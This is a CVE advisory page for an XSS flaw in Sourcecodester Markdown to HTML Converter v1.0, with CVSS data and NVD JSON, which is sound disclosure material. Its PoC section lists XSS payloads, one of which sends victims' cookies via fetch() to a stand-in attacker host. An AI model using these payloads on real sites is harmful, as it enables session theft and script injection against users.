Security Vulnerability Report
中文
CVE-2025-60312 CVSS 6.1 MEDIUM

CVE-2025-60312

Published: 2025-10-07 16:15:55
Last Modified: 2025-10-10 16:15:21

Description

Sourcecodester Markdown to HTML Converter v1.0 is vulnerable to a Cross-Site Scripting (XSS) in the "Markdown Input" field, allowing a remote attacker to inject arbitrary HTML/JavaScript code that executes in the victim's browser upon clicking the "Convert to HTML" button.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:rems:markdown_to_html_converter:1.0:*:*:*:*:*:*:* - VULNERABLE
Sourcecodester Markdown to HTML Converter v1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60312 PoC - XSS in Sourcecodester Markdown to HTML Converter v1.0 --> <!-- Payload to be pasted into the "Markdown Input" field --> <!-- Method 1: Direct script tag injection --> <script>alert('XSS - CVE-2025-60312');</script> <!-- Method 2: Cookie stealing via img onerror --> <img src=x onerror="fetch('https://attacker-server.com/steal?cookie='+document.cookie)"> <!-- Method 3: SVG-based XSS --> <svg onload=alert(document.domain)> <!-- Method 4: Event handler injection --> <body onload=alert('XSS')> <!-- Steps to reproduce: --> <!-- 1. Navigate to the Markdown to HTML Converter page --> <!-- 2. Paste any of the above payloads into the "Markdown Input" field --> <!-- 3. Click the "Convert to HTML" button --> <!-- 4. Observe that the JavaScript code executes in the browser -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60312", "sourceIdentifier": "[email protected]", "published": "2025-10-07T16:15:55.010", "lastModified": "2025-10-10T16:15:20.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sourcecodester Markdown to HTML Converter v1.0 is vulnerable to a Cross-Site Scripting (XSS) in the \"Markdown Input\" field, allowing a remote attacker to inject arbitrary HTML/JavaScript code that executes in the victim's browser upon clicking the \"Convert to HTML\" button."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rems:markdown_to_html_converter:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "BB6C3743-179F-44B1-A6B0-8C60C7BBE814"}]}]}], "references": [{"url": "https://github.com/ChuckBartowski7/Vulnerability-Research/blob/main/CVE-2025-60312/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.sourcecodester.com/php/18295/markdown-html-converter-using-php-and-javascript-source-code.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/ChuckBartowski7/Vulnerability-Research/blob/main/CVE-2025-60312/README.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}